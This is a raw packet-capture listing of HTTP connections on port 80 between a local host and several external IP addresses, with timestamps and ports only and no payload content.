Jul 6, 2024 14:10:18.505148888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505172968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505182981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505189896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505192995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505203009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505213976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505224943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505228996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505234003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505234003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505234003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505244970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505254984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505259037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505264044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505274057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505284071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505284071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505294085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505302906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505309105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505314112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505323887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505333900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505342960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505345106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505357027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505362034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505366087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505378008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505384922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505388975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505398035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.505403042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.505430937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506045103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506055117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506063938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506073952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506083965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506093979 CEST	80	49737	118.184.169.48	192.168.2.4
Jul 6, 2024 14:10:18.506095886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506113052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506123066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506123066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506134033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506143093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506151915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506161928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506171942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506174088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506181002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506184101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506191969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506201982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506211042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506221056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506222010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506231070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506232023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506242990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506253004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506253958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506263971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506268024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506274939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506285906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506295919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506297112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506308079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506318092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506325006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506329060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506341934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506370068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.506983995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.506995916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507005930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507015944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507026911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507036924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507045984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507045984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507045984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507055998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507067919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507076025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507077932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507102966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507107019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507117987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507126093 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507128954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507139921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507149935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507152081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507158995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507169962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507174015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507180929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507189989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507196903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507200956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507213116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507220984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507224083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507235050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507246017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507250071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507256985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507267952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507272005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507354021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507354021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507940054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507951021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507961988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507972002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507981062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.507991076 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.507992029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508006096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508006096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508017063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508018017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508028030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508037090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508045912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508048058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508059025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508069038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508071899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508080959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508094072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508094072 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508104086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508105040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508116007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508126020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.508133888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508153915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.508168936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.516107082 CEST	49740	80	192.168.2.4	45.113.194.189
Jul 6, 2024 14:10:18.520997047 CEST	80	49740	45.113.194.189	192.168.2.4
Jul 6, 2024 14:10:18.521084070 CEST	49740	80	192.168.2.4	45.113.194.189
Jul 6, 2024 14:10:18.521219015 CEST	49740	80	192.168.2.4	45.113.194.189
Jul 6, 2024 14:10:18.525976896 CEST	80	49740	45.113.194.189	192.168.2.4
Jul 6, 2024 14:10:18.526562929 CEST	80	49737	118.184.169.48	192.168.2.4
Jul 6, 2024 14:10:18.526617050 CEST	49737	80	192.168.2.4	118.184.169.48
Jul 6, 2024 14:10:18.678751945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.678770065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.678863049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.705455065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705475092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705483913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705614090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705626011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705636024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.705636978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705667019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.705683947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.705790043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705800056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.705835104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706005096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706053972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706072092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706082106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706104040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706120968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706142902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706161022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706171036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706182957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706203938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706304073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706314087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706324100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706348896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706366062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706526995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706536055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706564903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706578016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706629992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706679106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706705093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706713915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706751108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706785917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706794977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706835032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.706948042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706958055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.706995964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707077026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707086086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707125902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707209110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707218885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707252026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707376957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707386017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707422972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707628965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707638025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707675934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707849026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707858086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707887888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707914114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707920074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.707952023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.707971096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708009005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708035946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708070040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708076000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708102942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708168030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708187103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708209991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708228111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708287001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708297014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708332062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708380938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708390951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708405018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708414078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708421946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708441973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708458900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708583117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708596945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708628893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.708800077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708808899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.708842993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709001064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709042072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709050894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709053040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709073067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709088087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709098101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709110022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709134102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709151030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709419012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709470034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709557056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709567070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709597111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709620953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709743977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709753990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.709789991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.709990978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710000992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710010052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710036039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.710062027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.710093975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710103989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710112095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710120916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710143089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.710161924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.710288048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710297108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710333109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.710418940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710427999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710469961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.710516930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710525990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710557938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.710726023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710737944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.710772038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900217056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900242090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900254011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900382996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900393963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900404930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900408030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900454998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900533915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900544882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900582075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900624037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900634050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900649071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900669098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900686026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900829077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900837898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900849104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900857925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900877953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900893927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900902987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900928020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900938034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900948048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.900969028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.900994062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901001930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901043892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901159048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901202917 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901220083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901230097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901238918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901259899 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901271105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901329994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901340008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901375055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901453018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901463032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901499033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901524067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901535988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901571035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901571035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:18.901648998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901659012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901674986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:18.901695013 CEST	49732	80	192.168.2.4	211.108.60.155
